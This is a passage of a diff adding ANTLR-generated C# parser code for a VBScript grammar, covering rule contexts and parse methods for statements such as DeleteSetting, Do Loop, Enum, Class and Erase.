[System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public DeftypeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_deftypeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeftypeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeftypeStmt(this); + } + } + + [RuleVersion(0)] + public DeftypeStmtContext deftypeStmt() { + DeftypeStmtContext _localctx = new DeftypeStmtContext(Context, State); + EnterRule(_localctx, 76, RULE_deftypeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 989; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 1099243192320L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 990; + Match(WS); + State = 991; + letterrange(); + State = 1002; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,108,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 993; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 992; + Match(WS); + } + } + + State = 995; + Match(COMMA); + State = 997; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 996; + Match(WS); + } + } + + State = 999; + letterrange(); + } + } + } + State = 1004; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,108,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeleteSettingStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DELETESETTING() { return GetToken(VBScriptParser.DELETESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public DeleteSettingStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_deleteSettingStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeleteSettingStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeleteSettingStmt(this); + } + } + + [RuleVersion(0)] + public DeleteSettingStmtContext deleteSettingStmt() { + DeleteSettingStmtContext _localctx = new DeleteSettingStmtContext(Context, State); + EnterRule(_localctx, 78, RULE_deleteSettingStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1005; + Match(DELETESETTING); + State = 1006; + Match(WS); + State = 1007; + valueStmt(0); + State = 1009; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1008; + Match(WS); + } + } + + State = 1011; + Match(COMMA); + State = 1013; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,110,Context) ) { + case 1: + { + State = 1012; + Match(WS); + } + break; + } + State = 1015; + valueStmt(0); + State = 1024; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,113,Context) ) { + case 1: + { + State = 1017; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1016; + Match(WS); + } + } + + State = 1019; + Match(COMMA); + State = 1021; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,112,Context) ) { + case 1: + { + State = 1020; + Match(WS); + } + break; + } + State = 1023; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DoLoopStmtContext : ParserRuleContext { + public DoLoopStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_doLoopStmt; } } + + public DoLoopStmtContext() { } + public virtual void CopyFrom(DoLoopStmtContext context) { + base.CopyFrom(context); + } + } + public partial class DlwStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DlwStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDlwStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDlwStatement(this); + } + } + public partial class DlStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DlStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDlStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDlStatement(this); + } + } + public partial class DwlStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DwlStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDwlStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDwlStatement(this); + } + } + + [RuleVersion(0)] + public DoLoopStmtContext doLoopStmt() { + DoLoopStmtContext _localctx = new DoLoopStmtContext(Context, State); + EnterRule(_localctx, 80, RULE_doLoopStmt); + int _la; + try { + int _alt; + State = 1083; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,124,Context) ) { + case 1: + _localctx = new DlStatementContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1026; + Match(DO); + State = 1028; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1027; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1030; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1038; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,116,Context) ) { + case 1: + { + State = 1032; + block(); + State = 1034; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1033; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1036; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1040; + Match(LOOP); + } + break; + case 2: + _localctx = new DwlStatementContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 1041; + Match(DO); + State = 1042; + Match(WS); + State = 1043; + _la = TokenStream.LA(1); + if ( !(_la==UNTIL || _la==WHILE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1045; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,117,Context) ) { + case 1: + { + State = 1044; + Match(WS); + } + break; + } + State = 1047; + valueStmt(0); + State = 1049; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1048; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1051; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,118,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1059; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,120,Context) ) { + case 1: + { + State = 1053; + block(); + State = 1055; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1054; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1057; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1061; + Match(LOOP); + } + break; + case 3: + _localctx = new DlwStatementContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 1063; + Match(DO); + State = 1065; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1064; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1067; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,121,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + { + State = 1069; + block(); + State = 1071; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1070; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1073; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + State = 1075; + Match(LOOP); + State = 1076; + Match(WS); + State = 1077; + _la = TokenStream.LA(1); + if ( !(_la==UNTIL || _la==WHILE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1079; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,123,Context) ) { + case 1: + { + State = 1078; + Match(WS); + } + break; + } + State = 1081; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EndStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + public EndStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_endStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEndStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEndStmt(this); + } + } + + [RuleVersion(0)] + public EndStmtContext endStmt() { + EndStmtContext _localctx = new EndStmtContext(Context, State); + EnterRule(_localctx, 82, RULE_endStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1085; + Match(END); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EnumerationStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENUM() { return GetToken(VBScriptParser.ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_ENUM() { return GetToken(VBScriptParser.END_ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateVisibilityContext publicPrivateVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmt_ConstantContext[] enumerationStmt_Constant() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmt_ConstantContext enumerationStmt_Constant(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public EnumerationStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_enumerationStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEnumerationStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEnumerationStmt(this); + } + } + + [RuleVersion(0)] + public EnumerationStmtContext enumerationStmt() { + EnumerationStmtContext _localctx = new EnumerationStmtContext(Context, State); + EnterRule(_localctx, 84, RULE_enumerationStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1090; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PRIVATE || _la==PUBLIC) { + { + State = 1087; + publicPrivateVisibility(); + State = 1088; + Match(WS); + } + } + + State = 1092; + Match(ENUM); + State = 1093; + Match(WS); + State = 1094; + ambiguousIdentifier(); + State = 1096; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1095; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1098; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 1103; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==L_SQUARE_BRACKET || _la==IDENTIFIER) { + { + { + State = 1100; + enumerationStmt_Constant(); + } + } + State = 1105; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1106; + Match(END_ENUM); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ClassStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_CLASS() { return GetToken(VBScriptParser.END_CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateVisibilityContext publicPrivateVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ClassStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_classStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterClassStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitClassStmt(this); + } + } + + [RuleVersion(0)] + public ClassStmtContext classStmt() { + ClassStmtContext _localctx = new ClassStmtContext(Context, State); + EnterRule(_localctx, 86, RULE_classStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PRIVATE || _la==PUBLIC) { + { + State = 1108; + publicPrivateVisibility(); + State = 1109; + Match(WS); + } + } + + State = 1113; + Match(CLASS); + State = 1114; + Match(WS); + State = 1115; + ambiguousIdentifier(); + State = 1117; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1116; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1119; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,129,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1127; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1121; + moduleBody(); + State = 1123; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1122; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1125; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1129; + Match(END_CLASS); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EnumerationStmt_ConstantContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public EnumerationStmt_ConstantContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_enumerationStmt_Constant; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEnumerationStmt_Constant(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEnumerationStmt_Constant(this); + } + } + + [RuleVersion(0)] + public EnumerationStmt_ConstantContext enumerationStmt_Constant() { + EnumerationStmt_ConstantContext _localctx = new EnumerationStmt_ConstantContext(Context, State); + EnterRule(_localctx, 88, RULE_enumerationStmt_Constant); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1131; + ambiguousIdentifier(); + State = 1140; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==EQ || _la==WS) { + { + State = 1133; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1132; + Match(WS); + } + } + + State = 1135; + Match(EQ); + State = 1137; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,133,Context) ) { + case 1: + { + State = 1136; + Match(WS); + } + break; + } + State = 1139; + valueStmt(0); + } + } + + State = 1143; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1142; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1145; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EraseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERASE() { return GetToken(VBScriptParser.ERASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public EraseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eraseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEraseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEraseStmt(this); + } + } + + [RuleVersion(0)] + public EraseStmtContext eraseStmt() { + EraseStmtContext _localctx = new EraseStmtContext(Context, State); + EnterRule(_localctx, 90, RULE_eraseStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1147; + Match(ERASE); + State = 1148; + 